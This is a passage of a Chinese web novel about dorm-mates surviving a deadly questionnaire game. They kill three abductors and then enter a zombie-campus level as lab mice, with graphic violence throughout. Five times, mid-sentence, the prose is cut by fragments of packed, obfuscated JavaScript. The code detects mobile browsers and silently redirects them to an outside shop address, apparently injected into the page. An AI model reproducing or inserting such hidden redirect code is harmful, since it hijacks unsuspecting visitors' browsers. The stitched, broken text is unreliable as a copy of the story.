“你好……请问有人在吗?”她气若游丝,顿了一下继续道,“我们是楼下307室的。实在抱歉,我们宿舍里真的一点吃的都没有了,如果你们宿舍食物充足的话,能不能施舍我们一点儿。真的拜托了,救救我们……” 低低的啜泣声在门外响起。 邓溪明有些于心不忍,蹙眉看向江贮月。她们的食物取之不尽,送一些出去也只是举手之劳,更何况对方情况危急。然而,虽说救人一命胜造七级浮屠,但宿舍内的东西都是大家一起拼命挣回来的,因此江贮月的意见同样重要。 “可以帮,但这事有点蹊跷。”江贮月抿唇。平时宿舍楼里大家有什么缺的东西,一般都是在宿舍楼群里说。但她刚才点开群聊一看,307室的人根本没在群里发过求助。明明有更快也更容易想到的方法,为什么307的人选择了一个一个敲门这样的笨方法?有敲门敲到她们404室的时间,群里早不知道有多少人回应了。 再者,她们宿舍内只有两个人,物资又这样丰富。在不清楚门外情况之下如果贸然开门,只怕引狼入室,后患无穷。 她贴近门板,扬声道:“姐妹,我们这应该还有一些饼干,但找出来要花点时间。你先去问问别人吧,过十分钟再来看。我们找到了就放在门口,要是没放就是没找到。” 门外的女生似乎愣了一会儿:“……好,好好,谢谢……” 江贮月贴在门上仔细听着外面的声音。那个女生又接着往走廊更深处的寝室走去,敲门、询问,但没有人回应她。直至脚步声与敲门声逐渐远去,她才接过邓溪明取来的四包饼干,轻轻压下宿舍门的把手。 随着旋钮一声细微的响动,崭新的门轴顺畅地转动,将门打开一条小缝。江贮月蹲下身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593642|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,拿着饼干从间隙中伸手。 她的手指还未松开,一只冰冷的手突然紧紧握住她的手腕,随后一张男人的脸猛然出现在视野之中。 江贮月失声尖叫,但那男人的另一只手死死捂住了她的嘴,她的惊叫被闷死在粗糙的大手之中。那张面皮布满疙瘩,眼中闪着诡异的光,嘴角止不住地上扬,牵动着面颊上因兴奋而剧烈抖动的肌肉。他使劲将江贮月往外一拉,面上血色尽褪的江贮月一个踉跄就跌到了门外。 她匆忙撑住身子,抬头看向偷袭者。对方正俯视着她,低哑的声音从嶙峋的牙齿间隙中逸散出来:“真给我找着个像样的货。” 开了那么多扇门,还是第一次见到这么得劲的女的,身材和脸蛋都一副勾引人的狐媚样。啧啧,他都有点不舍得把她带回去了。 他身后蜷缩着一个瘦小的女生,正捂着脸小声呜咽:“对不起……玲玲被他们关在宿舍了……是他们逼我的……” 那男的有些得意地一笑,伸出手就要来捉江贮月的脖颈。谁知他臆想中手到擒来的貌美花瓶并没有坐以待毙,而是双手钳住他的手臂借力转身将他往地上狠狠一摔。 “砰”的一声巨响响彻楼道之间,哭泣的女生仿佛听见了骨头碎裂的声音,有些怔愣地止住了眼泪。 那男的被摔得七荤八素,挣扎着想起身,但只见一根黑影从天而降,重重击打向他的面门。 从门中冲出的邓溪明使尽全身力气挥下棒球棍,给了他致命一击! 那男的鼻梁尽碎,睁着眼睛躺在地上,了无声息。 “呼……还好只来了一个人。”邓溪明的额角全是冷汗,沾血的棒球棍微微颤抖。 “……不,不,他们还有两个人,就在我们宿舍。我听见他们的声音了,他们要上来了!”瘦小的女生惊恐地用气声叫道。 楼梯间传来沉重的脚步声。江贮月与邓溪明眼神一凝,合力将几近晕厥的女生抬进了宿舍内,随即紧锁房门。 接下来恐怕将有一场恶战。 20. 诱敌深入 脚步声停在了404室门外。 “阿震,阿震,你怎么了?”章超迅愕然蹲下,拍打着倒地同伴的脸颊。见他满面血迹,鼻下已无气息,他皱眉警惕地环顾四周。附近空无一人,眼前的404室寂静无声。 金震是他们三人中最健硕的,却在短时间内被轻易解决,对方人数应当不少。 或者,他们遇上同行了。 无论是哪种情况,现在最佳的选择还是回去找在307的涂伏谷。 他不敢再停留,立即起身往楼下跑去。 门后,江贮月背身贴在门板上,眸光低沉。 她无法分辨门外到底来了几个人,因而闭门不应是目前最好的选择。但倘若对方不依不饶,她们躲得了一时,躲不了一世。与其担惊受怕地被迫迎战,不如主动出击。 她看向正被邓溪明轻手轻脚平放在地上的女生。对方裸露在外的肌肤上满是青紫的瘀痕,双手指甲残缺,新鲜的血痂裹在每道触目惊心的伤口之上。 心中的酸涩化为滔天的怒火,她的指甲深深嵌入了掌心。看来那伙人手段残忍,以防万一,她们必须一劳永逸地解决他们。 江贮月走近面色铁青的邓溪明,俯身低语。 …… “老涂,阿震他被杀了!” 章超迅气喘吁吁地跑回307,见涂伏谷不紧不慢地提起裤子,有些着急地叫嚷起来:“你快跟我去看!他现在就躺在404门口。” 涂伏谷活动活动筋骨,斜眼轻蔑一笑:“着什么急?要我说,他就是太贪了,死了才正常。” 只是想不到这小小一栋女生宿舍楼,居然还有人能杀得了金震他那个傻大个。看来他得稍微上点心了。 他紧了紧陷入昏迷的女孩身上的绳索,将一把折叠水果刀收到裤子口袋之中,便转身朝着楼梯走去。 …… “外面没人。” 邓溪明站在椅子上,从浴室内高处的排气扇口探视着宿舍门外的走廊。楼道此时静悄悄的,只有寒风凛冽地席卷着落叶呼啸而过,一个人影也没有。 江贮月点点头,安静地将门打开约三十度,随后带着棒球棍闪身躲进了大门旁的浴室之中。 门上天花板正悬挂着一个热水壶,调好了角度以保证热水暂时无法漏出。几根麻绳牵引着那只热水壶,其左侧的绳子连接着水管,右侧的绳子则由身处浴室高处的邓溪明紧紧攥着。 不多时,脚步声再次响起。这回,邓溪明从排气扇中看到了那两人的身影。她朝江贮月示意,空的那只手比了一个“2”。 江贮月颔首,握紧棒球棍的手心微微出汗。 成败在此一举。 章超迅将涂伏谷带到404室门口时,第一眼就注意到了虚掩着的房门。 难道人都跑了? 他从门缝间窥探,却见到了完全不符合常理的室内布局。明明应当是同样户型的宿舍,这间宿舍内的空间却比楼下的307室大了许多。再往里看,超市一般满满当当的货架更是令他眼花缭乱。 他从来没拿到过宿舍升级卡,因而对404室的变化是完全摸不着头脑。但一阵香味从室内飘出,他鼻翼翕动,饿了许久的肠胃忽然增强了存在感,脑袋里有根名为“谨慎”的弦似乎突然崩断了。 “老涂,这个宿舍里好像有不少好东西!” 涂伏谷眯了眯狭长的眼。他也看到了404室内的不同寻常,但他背着章超迅和金震私吞了不少食物,因而此时并没有被眼前看似美好的景象所蒙蔽。 如果真有这么好的宿舍,那几个人难道舍得抛弃? “你先进去探探路,我给你断后。”他朝里面努努嘴,从兜里掏出了那把折叠水果刀。 章超迅不疑有他,走进404室内。他开始几步还是左顾右盼的,发现室内完全没人后便加快了脚步,放心大胆地朝货架走去。 从货架上拿下一碗猪肘,他顾不得手上的泥污,就开始大快朵颐。 涂伏谷见他吃了一会儿也没什么事,“啧”了一声便也抬脚进门。 就在他步入门槛的那一刹那,头顶传来细微的声响,一壶滚烫的开水随即兜头淋下。 涂伏谷霎时间发出惨烈的嚎叫——那一整壶开水将他从头浇到脚,冒出来的水泡顷刻间涨破,全身上下皮肉俱烂,仍在原位的外皮焦黑一片,半脱未脱的皮肤则泛着鱼眼一般的白,透出其下猩红的血肉。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593643|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 章超迅在听见尖叫之时猛然回头,所见之景令他瞳孔骤缩。但他还来不及反应,从浴室中冲出来的江贮月便疾速奔至他面前,将棒球棍大力挥向他的头颅。 他的牙齿混着尚未嚼碎的猪肘与他自己的血肉一齐飞出,但还未落地,章超迅细长的身躯就被江贮月连补的两棍重击至率先抢地。 紧随其后的邓溪明握着折叠刀,给入侵者二人一人补了一道致命伤。 危机解除,两人背靠着背脱力滑下,心跳猛烈得似乎要蹦出胸膛,双手止不住地颤抖。 才歇了几秒,邓溪明忽然打了一个冷颤,这才反应过来她们的宿舍门还没关。 她赶忙爬起身,步伐不稳地朝着门外走去。目光触及涂伏谷烂泥一般的尸体时,她心中残余的恐惧再也无法压下,和着涌上的胃酸一齐吐了出来。 江贮月见状,连忙踉跄着上前搀扶她。她别过眼神,却看到了门外金震僵硬的尸体,心中浮上几分茫然。 这三具尸体又该如何处理? 思来想去,没有这方面经验的江贮月和邓溪明二人选择了将目光投向了垃圾处理循环系统。通风橱一般大小的自动化垃圾处理器足以容纳一整个人,这三人本质上和平日里丢掉的生活垃圾也并没有太大区别,因此用垃圾处理系统处理他们三人似乎是最便捷的方法。 说干就干,二人整顿心情过后,协力将金震的尸体抬上了自动化垃圾处理器。 自动化垃圾处理器:完了,我脏了。 然而,一道处理器自发的白光过后,通风橱除了像往常一样返还了一些干净的布料等杂物以外,还呈上了一张发光的卡片。 邓溪明伸手一捞,那卡片就自动出现在了她的背包之中。她定睛一看——那分明是一张宿舍升级卡。 她们眼睛一亮,心中的阴霾一扫而空,怀着激动的心情将剩下两个人依次抬上了处理器。 两道白光过后,三个人中,除了章超迅以外,另外两个人分别返还了一张宿舍升级卡。 虽然只有两张,但毕竟是天降横财,江贮月与邓溪明对这份意外之喜已经满意得不得了。她们正思索着这两张升级卡的用法,邓溪明却突然打了个极大的喷嚏。 21. 忍冬的梦 “所以,这就是你们兑换了暖气功能的理由?” 心惊肉跳地听完江贮月和邓溪明讲述的凶险事件后,舒怀瑾和程映雪齐齐出声。 “嗯……怎么会只是因为一个大喷嚏呢?”邓溪明有些不好意思地摸了摸鼻尖,“当然是因为天气真的越来越冷了,没暖气也不好过活嘛。” “那剩下一张宿舍升级卡呢?”程映雪问道。 江贮月手臂一抬,手指一指,舒怀瑾和程映雪这才注意到自动化垃圾处理器旁出现了一道暗门。 那道门上银光闪烁,光点汇聚成蛇绕拐杖的图案。 “我们用另一张升级卡兑换了一间自动化医务室。” 医务室的门缓缓打开。里面空间宽敞,四面的墙刷得洁白无瑕,四张医用诊疗床则各占一角。其中两张床上分别躺着两个女生,如投影一般的医疗器械正在她们身上涂药与包扎。 看见江贮月与邓溪明身后的两个生面孔,姜宁也猜到了她们就是两位救命恩人的舍友,眼中浮现出羡慕与掺杂了惴惴不安的感激。 虽然她们醒来以后,江贮月和邓溪明一直向她们解释说自己的舍友们不会介意她们暂住的,但她们毕竟是客人,吃穿用度均是依托他人,要是舒怀瑾与程映雪介意她们这两个莫名其妙出现在宿舍里的陌生人,也是人之常情。 能捡回一条命已是不容易,姜宁不敢再奢求得到更多,更何况她差点就害了江贮月与邓溪明二人。她朝舒怀瑾与程映雪歉意一笑:“你们好,我是姜宁。你们放心,我们伤好了就离开,绝对不会给你们添太多麻烦的。” 另一名女生并没有出声,只是在见到生人之时瑟缩了一下,嘴唇轻微地颤动着。 “不好意思,她是我的舍友,阮鑫玲。她……”姜宁看了一眼面色木然的阮鑫玲,接下来的话却止在喉头了。玲玲一醒来就一句话也不说,身上的伤口虽然好得差不多了,但她心里的创伤恐怕短时间难以恢复。因此,姜宁不敢贸然重提她的伤心事,生怕她又遭受刺激。 想起她们的遭遇,舒怀瑾也心情沉重。这才几天,学校里居然就发生了这种事。按照贮月她们的描述,那伙人似乎已经不是第一次干这种事情了,也许在问卷降临之前就已经是草菅人命的渣滓。 见姜宁的眼眶微红,她轻声安抚道:“没事的,我们不会赶你们走的。”只是,等她们恢复得差不多了,还是要提醒一下她们不要将404寝室的情况透露给别人。 毕竟不是每个人都会有感恩之心。 “谢谢,谢谢……”姜宁感激地点头。 …… 从医务室出来以后,舒怀瑾不禁沉思:她方才问过了姜宁,她们宿舍这两次问题的开启时间和自己都是一样的。结合目前收集到的其他信息,几乎可以确认所有人是同时开启问题的。 此外,姜宁她们适应大学生活适应得很好,选的答案全都是A,遇见的副本难度极低,因此才能够在副本开启的当天就通关。由此可见,越优秀的学生似乎越被问卷所青睐,存活率也越大。 她们宿舍四人整体而言成绩并不算优异,副本难度也相对较大。她和映雪缠斗几天才能脱离副本,哪怕是幸运至极的邓溪明都是过了半天才成功通关。这一点是支持副本难度从A到D依次增加的。然而,根据姜宁所说,那三个渣滓说话并不避着她们,囚禁她们期间还提到了之前的几名受害者,基本上都是趁别人还没出副本时,在空宿舍中提前布下陷阱才得逞的。 他们一伙人看起来并不像是人生赢家,为什么他们的通关速度会如此之快,甚至可以比进入A级副本的姜宁她们先一步出副本,还有余力提前在她们宿舍中布网?舒怀瑾想不明白。 程映雪的声音恰巧响起:“我听着贮月她们讲的时候就觉得那几个名字有点耳熟,刚刚翻了一下聊天记录,才发现两个月前他们才因为团伙性骚扰被同学挂在论坛上过。” 听映雪这么说,邓溪明也一下子想起来了:“对对,我记得当时好多认识他们的人声讨过他们。据说他们几个不仅经常旷课、考试作弊,而且还当瓢虫被抓到过。但是他们几个人家里好像有点关系,每次连处分都没有。” 舒怀瑾讶然。既然如此,基本上可以确定他们几人从客观上来讲是不符合简单副本的筛选条件的了。那么,如果是从主观上来讲呢? 这要么是新的规则,要么就是这份问卷的纰漏。 舒怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593644|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾更希望是后者。两个副本以来,她们完全处于问卷的掌控之下。但如果这份看似坚不可摧的问卷也有纰漏,那她们总有一天可以沿着蛛丝马迹找到问卷的更多薄弱点,打破这场噩梦,回归从前那平凡、偶尔有些烦恼,却没有性命之虞的大学生活之中。 她坐在桌前沉默地思考着,但眼皮却不自觉地打架。在纷杂的思绪里,她缓缓沉入了梦境之中。 …… “忍冬,醒醒!” 舒怀瑾在被推搡之中迷迷糊糊睁开眼。她茫然地看向面前的女子。 “你怎么在实验室做着实验就睡着了啊?机器都没关,这样也太危险了吧。”对方面上浮现些薄愠,语气中都带上了些火星。 忍冬?是在叫她吗? 见她仍是一言不发,对方有些恼火地瞪了她一眼,便转身离开了实验室。 舒怀瑾想叫住她,却发现自己无法控制这具身体。她更像是个寄住在这具身体里的灵魂,只能看、只能听,却不可以说和做。 与她的意愿相违,“忍冬”并没有起身追上那名女子,而是在原位上又发了一会儿呆。过了许久,她才缓缓走出了实验室,回到了休息室中,从包中抽出了一张被折得皱巴巴的纸。 那张纸的字上有些模糊,舒怀瑾只能勉强辨认出“病变”、“留院”等词。还没等她多认几个词,“忍冬”便将那张纸收回了包中,眼角似乎有温热的液体流下。 梦境骤然破碎,舒怀瑾从中惊醒,这才发现刚才的一切都只是一场梦。 忍冬?她怎么会梦见这个?难道是上一个副本给她留下的印象太深了? 她忽然想起刚脱离副本时机械音的播报。当时好像说什么副本物品、什么故障,之后似乎又恢复正常了。 她打开背包,一张卡片正静静地躺在卡槽之中。 【她的忍冬】 收集自副本《小组作业》,具有清热解毒的药效。充能型道具,每隔两小时可生成一瓣金银花,同时只能存在五瓣金银花,每瓣金银花服用后可以增加一点生命值。 备注:一定要注意区分钩吻和忍冬哦~人命关天,千万别吃错了~ 什么叫……“她”的忍冬? 22. 丧尸校园1 上午十点,问卷准时开启。 这次舒怀瑾等人早就做好准备,背包里放足了食物和药品,静静等待着第三个问题。 “问题3:面对实验课程时,你的精神状态为? A.身心愉悦,实验圣手无需多言。 B.心态良好,专心培养动手能力。 C.强装镇定,能做就做不能拉倒。 D.疯狂!彻底疯狂!!实验课滚出地球!!!” “每个选项对应不同难度的副本,请按照宿舍中所有人的真实情况综合回答。【倒计时:1分钟】” 在看到题干之时,舒怀瑾四人心中“咯噔”一下,暗道不妙。 坏了,这问题根本就是冲她们来的! 往日实验课上四人的表现仍历历在目,下课后回到宿舍内痛骂实验课的声音还言犹在耳。这哪里是拉开帷幕的选择题,这分明是尘埃落定的送命题。 “认命吧,选D。”舒怀瑾生无可恋地看向舍友们。程映雪两眼一翻差点晕倒,江贮月疯狂搜罗宿舍里所有的攻击性武器,邓溪明……邓溪明石化了。 倒计时进入最后几秒,四人只好视死如归地选择了D选项。 熟悉的光点侵蚀了视野。 “恭喜答对,欢迎来到多人副本《丧尸校园》,参与人数:20人。通关要求:找到丧尸起源的真相。” …… “吱吱吱吱,吱吱吱吱吱吱吱吱吱吱。(鼠鼠我呀,这回是真的鼠到临头啦。)”舒怀瑾微微一笑,咧开长满尖细小牙的凸嘴,唇上的胡须随着她的话而上下颤动。 虽然这里没有镜子,但四周这放大版的小鼠、垫料、饮水器,走来走去的巨型鞋子和裤脚,浓浓的酒精和消毒水味,还有身为小鼠的舍友乌溜溜的眼珠里她自己的倒影,一切的一切都说明了她们此时的身份—— 天杀的!谁家好人开局投胎成实验室里关在笼子里的小鼠啊?开局即死局,这就是D选项副本的难度吗? 周围大约有十来个笼子,她们此时所处的笼子正在笼群中央。每个笼子里都有十只皮毛乌黑发亮的小鼠,吱吱喳喳的声音与皮毛摩擦的声音混在一块儿,声响大得吓人。 “吱吱!!吱吱吱吱吱吱吱吱?(救命!!我怎么变成老鼠了?)” “吱吱吱吱吱,吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱吱!(不是吧老哥,我自己实验室里的小鼠还没来得及剖呢!)” 四面八方的“吱吱”声传到舒怀瑾耳朵里倒是能被自动翻译成人话,看来问卷还没有丧心病狂到剥夺他们交流的能力。 “吱→,吱↑吱吱↓吱吱吱→吱,吱↑吱吱。(老哥,怎么今天笼子里突然多了这么多口音奇怪的生面孔啊,怪吓鼠的。)” “吱↓,吱吱→吱吱吱,吱吱↑吱吱↓。(不懂啊,干饭就完事了,想那么多干嘛。)” 舒怀瑾闻言挑眉——假如她现在还有眉的话——没想到她们居然还能听得懂真小鼠的语言,实在是意外之喜。 “奇怪了,今天这批小鼠怎么这么闹腾?” 舒怀瑾沿着声源抬头一看,一名身着实验服的女性从通风橱方向走来。她的帽子、护目镜、口罩、手套和鞋套等均已穿戴完毕,此时正俯瞰着众鼠笼。 “谁知道呢,可能气场不合吧。我看瞿师兄的小鼠就都挺温顺的,你有空去和人家取取经。”一名男性实验人员将解剖工具和泡沫垫板放置在通风橱上,朝她打趣道。 实验室中响彻着如洪钟一般的嗓音,他们的每一步仿佛都令地动山摇。不得不说,变成小鼠以后,视野中巨人遮天蔽日的恐惧让舒怀瑾简直梦回《进击的巨人》。 随着两人离鼠笼越来越近,舒怀瑾等四只鼠对视一眼,不动声色地后撤。 对于这两人接下来要做什么,她们简直是心知肚明,现在只能暗暗祈祷着不要第一只就抓到自己。 “出门左转就有下楼的楼梯。”程映雪的声音在脑海中响起。 另外三鼠瞪眼:“你怎么知道?” 程映雪动动耳尖:“旁边那俩瘦耗子边吃边聊的,估计被养好一会儿了,对这块儿实验室熟得像自己家一样。” 话音未落,她们的头顶上落下一大片阴影,随后脚下晃动,整个笼子都被搬到了实验台之上。笼顶在“吱呀”一声震响中被一只大手掀开,两颗眼珠在一张巨大的脸上盯着他们滴溜溜地转。 不妙,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593645|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们这一笼鼠被幸运地选为早死鬼了。 舒怀瑾对自己的运气很有把握。她聚精会神地看着那只戴着蓝色塑胶手套的大手如预料之中一般朝着她的尾巴袭来,待那只手就要触及她的尾巴尖之时,她灵活地将身子一扭,随即奔到了笼子对角。 不知道是不是错觉,她变成小鼠之后感觉人的动作似乎都变得又慢又笨重。 那只手还是盯住她不放,再次朝她尾巴尖落下,她又闪身跑至对角。再捉她就再跑,再跑那只手又再捉,如此三番,那只手终于有些泄气,转而去捉了另一只还在闷头啃饲料的小鼠。 那只小鼠被捉起来的时候,嘴角的饲料屑还在扑簌簌往下落,愣了好一会儿才开始在空中扑腾。 奈何它的尾巴实在太长,那只手又正好掐在它尾巴尖,它无论怎样翻转身体也无法扒住什么借力挣脱开来。 大手将它提溜到半空之中,随后开始以尾巴尖为圆心,小鼠长度为半径,让小鼠在空中作高速旋转运动。 转上几十秒,那只小鼠就被甩得晕头转向,手一松就落到了四面围起的天平之上。 男性实验人员干脆利落地记录下小鼠的重量,随后拎起头脑尚不清醒的小鼠,对准打开的采血管,将小鼠的左眼珠硬生生地挤了出来。 小鼠的左侧恰好对着台上的众小鼠,血从凹陷的左眼框中汩汩流到采血管中,它挣扎的后腿也逐渐无力。 四周寂静一片,只有若有若无的尿骚味在空气中飘荡。 有两只小鼠被吓尿了。 放干血的小鼠被女性实验人员拎去解剖了,男性实验人员便将手再次伸向了舒怀瑾等人所在的鼠笼之中。 舒怀瑾等四鼠对视一眼,蓄势待发。根据以往做实验的经验,被捏住了尾巴后往往难以脱身,只有主动出击才有可能从实验人员的手中逃脱。因此,在刚刚那只小鼠被放血之时,她们已经悄悄商量好了出逃计划。 实验室的门正好留了一条缝,计划通! 当那只大手的阴影再次笼罩在舒怀瑾的头上之时,四只鼠猛然一跳,扒拉到猝不及防的实验人员袖口上,随后扑到笼子外,朝着四个不同的方向奔去。 “小鼠跑了!” 23. 丧尸校园2 女性实验人员闻言匆忙放下手中的解剖剪,加入另一名实验人员捕捉小鼠的行动中。 然而四只朝不同方向奔逃的小鼠背后仿佛长了眼睛一般,他们二人无论怎么抓都没法抓到任何一只小鼠,只能眼睁睁地看着小鼠柔顺的皮毛从指尖滑过。 按照计划,舒怀瑾一方有四只小鼠,实验人员一方只有两个人,因此同一时间至少有两只小鼠是不会被实验人员追逐的。彼时这两只小鼠便可以悄悄从半开的门缝中溜出实验室,并接应由于被追捕而短时间无法脱身的同伴。 不过舒怀瑾的计划还是保守了。事实上,程映雪、江贮月和邓溪明三只小鼠完全没有被实验人员注意到,只有舒怀瑾一只小鼠陷入了被两个人同时抓捕的惊险境地。 幸好她是《小小梦魇》身法玩家。 在身后四只手前仆后继的掌风之下,舒怀瑾辗转腾挪,往返飞跃于一排排的实验台上。 “我们出来了!你快往门这边赶!”程映雪等三人此时已经到达了门缝之间,焦急地等待着舒怀瑾。 “马上好!”舒怀瑾应声,但她却并没有如三人预想般飞奔而来,而是掉头往实验室更深处跃去。 “你还在干嘛呀?外面闹起来了,也不知道发生了什么,快出来!” 一声尖叫从走廊深处传来,程映雪眼见着舒怀瑾越来越远而嘈杂声越来越近,急得不住跺爪。 舒怀瑾咬咬牙。她方才也想抓紧时间跑出实验室的,可就在她往外纵身一跃之时,身体却被一股莫名的力量强行扭转了方向,随后直奔实验室深处而去。 就好像有什么东西如强磁铁一般吸引着她一样。 她一时间无法和同伴们解释清楚自己的情况,情急之中只好叫道:“我暂时没法控制自己了,你们要是遇到危险就先走吧!” 随着她离实验室最后一排实验台越来越近,她的身体也越来越炽热,胸膛中仿佛有絮语在小声重复着什么。 “……枪,移液枪!” 在听清声音的那一刹那,她不受控制地撞向了放在架子上的移液枪。正当她弓起背砸到移液枪上时,身后闪烁起一阵光点,足有她体长三倍不止的移液枪居然凭空消失了。 在两人惊愕的目光中,舒怀瑾被重重反弹到了实验桌上。 她忍着疼痛,哆嗦着爬起身来。好消息是她可以控制身体了,但坏消息是她好像没法躲掉眼前遮天蔽日的手掌了。 男性实验人员的手离她的尾巴越来越近。舒怀瑾浑身血液倒流——难道今天就要莫名其妙地死在这儿了吗? “这什么东西?!”江贮月的声音突然在脑海中响起,随后砰然一声巨响从门口传来。 两名实验人员猛地回头,待从柜台间隙看清门口的身影是什么时,两人均是面色惨白。 被一把挥开的门板上赫然印着鲜血染就的手掌印,而破门者是一名肤色灰暗的女子,此时正低垂着头嗅着实验室内的气味。如瀑的青丝遮住了她的面庞,虬露的青筋在她的皮肤下跳动着,血肉残渣挂在她长而尖的指甲之上,淋漓地下滴。 舒怀瑾眼神一凝:她是丧尸! 她似乎闻到了什么,骤然抬头,灰白的瞳孔直直地望向实验室深处,随后发出一声尖啸,朝着两人一鼠方向横冲直撞而去。 “还——我——一——作——!” “不是我要拿的……!不是我!”男性实验人员率先被吓破了胆,他将女性实验人员往身前一推,颤声叫嚷着往角落躲去。 女性实验人员猝不及防地被往前推去,尖叫中直直撞上了丧尸的尖爪。但预想之中撕裂的疼痛并没有到来,那丧尸将她一推便闪身追向了男性实验人员。 “啊!……救命!爸!……救我!”破碎的叫喊声终止于丧尸对他喉咙的啃咬之中,鲜红的血液尽数喷溅到了雪白的墙壁之上。 女性实验人员见此情景再也顾不得什么小鼠大鼠,一瘸一拐地往实验室门外跑。舒怀瑾也缓过气来,奔向实验室门口仍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593646|143260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然在等待她的三个舍友。 才刚出门,女性实验人员便突然被一道血肉模糊的黑影扑倒在地,随后是丧尸蜂拥而上,匍匐着啃噬她的身体。 惨绝人寰的尖叫响彻了整栋实验楼。 叫声吸引了更多丧尸往实验室方向奔来,走廊的地板砖仿佛地震一般颤动着发出嗡鸣。来不及耽搁,舒怀瑾拉上浑身发冷的程映雪,和江贮月、邓溪明一同逃往安全出口。 好在她们此时还是小鼠,丁点大的肉还不能引起丧尸的注意。她们贴着墙角前行,凭借着灵活的走位和小巧的体积在越发密集的丧尸群中毫发无损地穿梭。 躲掉不知多少碎肉块与粘稠的唾液后,舒怀瑾四鼠终于抵达了实验楼一楼的大门。 往日里刷卡才能进出的实验室大门此时被暴力破开,满地的猩红与尸体昭示着此处曾发生的恶战。门卫室中倒在监控台前的保安发出微弱的声音,手无意识地虚握,缓缓浮现出皮下的青筋。 舒怀瑾四鼠气喘吁吁地在门内环顾四周。外面零星有几个丧尸正伏在尸体上啃咬,远处的的几栋楼看起来倒是算得上安静。 这栋人满为患的实验楼是待不下去了。她们决定先找一个人少的地方修整一下,再从长计议。简单规划路线过后,舒怀瑾等四只小鼠一齐朝着门外迈步出发。 就在她们跨过门槛的那一瞬间,舒怀瑾突然感觉自己的视角高了不少。 她扭头看向舍友们——身旁三只皮毛乌黑发亮的小鼠消失了,取而代之的是她们三人原本的模样。 与此同时,楼外空地的丧尸齐齐抬起了头,灰白的眼睛死死盯着这突然出现的四人。 坏了。变成人是好事,但是在丧尸面前变成人简直是羊入虎口! 身后是满是丧尸的实验楼,面前又是虎视眈眈的丧尸。刚变回人的四人冷汗淋漓,精神紧绷之间听见身旁的门卫室中传来椅子翻倒的声响。 面目狰狞的保安从破碎的玻璃窗口内猝然扑向舒怀瑾! 24. 丧尸校园3 说时迟那时快,舒怀瑾慌忙从背包里随手揪了个东西出来格挡在保安发黑的指尖之前。 “铛”的一声脆响,保安的指甲被崩断了几片。 他混浊的眼珠有些不解地看向眼前这莫名出现的东西。 塑料的外壳,蓝白的配色,还有这末端收紧的蓝色塑料尖管……他似乎在巡逻时见过这玩意儿,但记忆中这东西应该没那么硬吧? 记忆?说起来,记忆是什么意思? 灰黑的血管在他外突的太阳穴上不住跳动着。他甩了甩好似浆糊一片的脑袋,丢下这些纷杂的想法,重新将偶尔痉挛的眼球转向不远处散发着香味的新鲜肉身。 比起刚才,这四大块美味的食物似乎离他更远了一些。 舒怀瑾四人可不会傻傻站在原地。就在这保安丧尸莫名其妙地发愣之时,舒怀瑾等四人早已脚底抹油开溜了。 比起身后那已知张牙舞爪的大量丧尸与随时可能从楼里追上来的保安丧尸,面前这三个吃得肚皮滚圆的丧尸显得格外温顺。等舒怀瑾四人从他们面前奔过,他们才从地上慢半拍地爬起来,路线歪歪扭扭地在后面追赶。 